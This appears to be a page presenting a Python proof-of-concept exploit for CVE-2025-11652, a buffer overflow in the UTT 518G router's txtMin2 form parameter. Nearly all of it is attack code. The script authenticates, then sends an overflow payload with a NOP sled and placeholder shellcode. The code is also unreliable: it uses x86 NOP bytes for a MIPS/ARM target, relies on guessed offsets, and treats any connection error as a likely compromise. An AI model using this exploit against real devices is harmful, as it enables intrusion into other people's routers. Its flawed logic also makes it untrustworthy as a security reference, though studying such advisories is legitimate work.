CVE-2025-11652：UTT进取518G路由器缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11652 - UTT 518G Buffer Overflow PoC # Target: /goform/formTaskEdit_ap parameter txtMin2 # Author: Security Researcher import requests import sys TARGET_URL = "http://TARGET_HOST" LOGIN_URL = f"{TARGET_URL}/goform/login" EXPLOIT_URL = f"{TARGET_URL}/goform/formTaskEdit_ap" # Credentials (low privilege account required) USERNAME = "user" PASSWORD = "password" def login(session, base_url): """Authenticate to the router web interface""" login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } resp = session.post(f"{base_url}/goform/login", data=login_data) return resp.status_code == 200 def exploit(session, base_url, payload): """Send buffer overflow payload via txtMin2 parameter""" data = { "txtMin2": payload, # Additional form parameters as needed } try: resp = session.post(f"{base_url}/goform/formTaskEdit_ap", data=data, timeout=10) return resp except requests.exceptions.RequestException as e: print(f"[+] Target may have crashed (expected): {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] base_url = f"http://{target}" # Construct overflow payload (adjust offset as needed) # Typical buffer size ~256 bytes; adjust based on firmware analysis offset = 256 # NOP sled + shellcode placeholder nop_sled = b"\x90" * 16 # Replace with actual shellcode for target architecture (MIPS/ARM) shellcode = b"\xcc" * 64 # Return address (little-endian, adjust based on stack analysis) ret_addr = b"\x41\x41\x41\x41" payload = b"A" * offset + ret_addr + nop_sled + shellcode session = requests.Session() print(f"[*] Authenticating to {target}...") if not login(session, base_url): print("[-] Login failed. Check credentials.") sys.exit(1) print("[+] Authentication successful") print(f"[*] Sending buffer overflow payload to txtMin2...") result = exploit(session, base_url, payload) if result is None: print("[+] Exploit completed - target likely compromised") else: print(f"[*] Response status: {result.status_code}") print("[+] Exploit sent successfully") if __name__ == "__main__": main()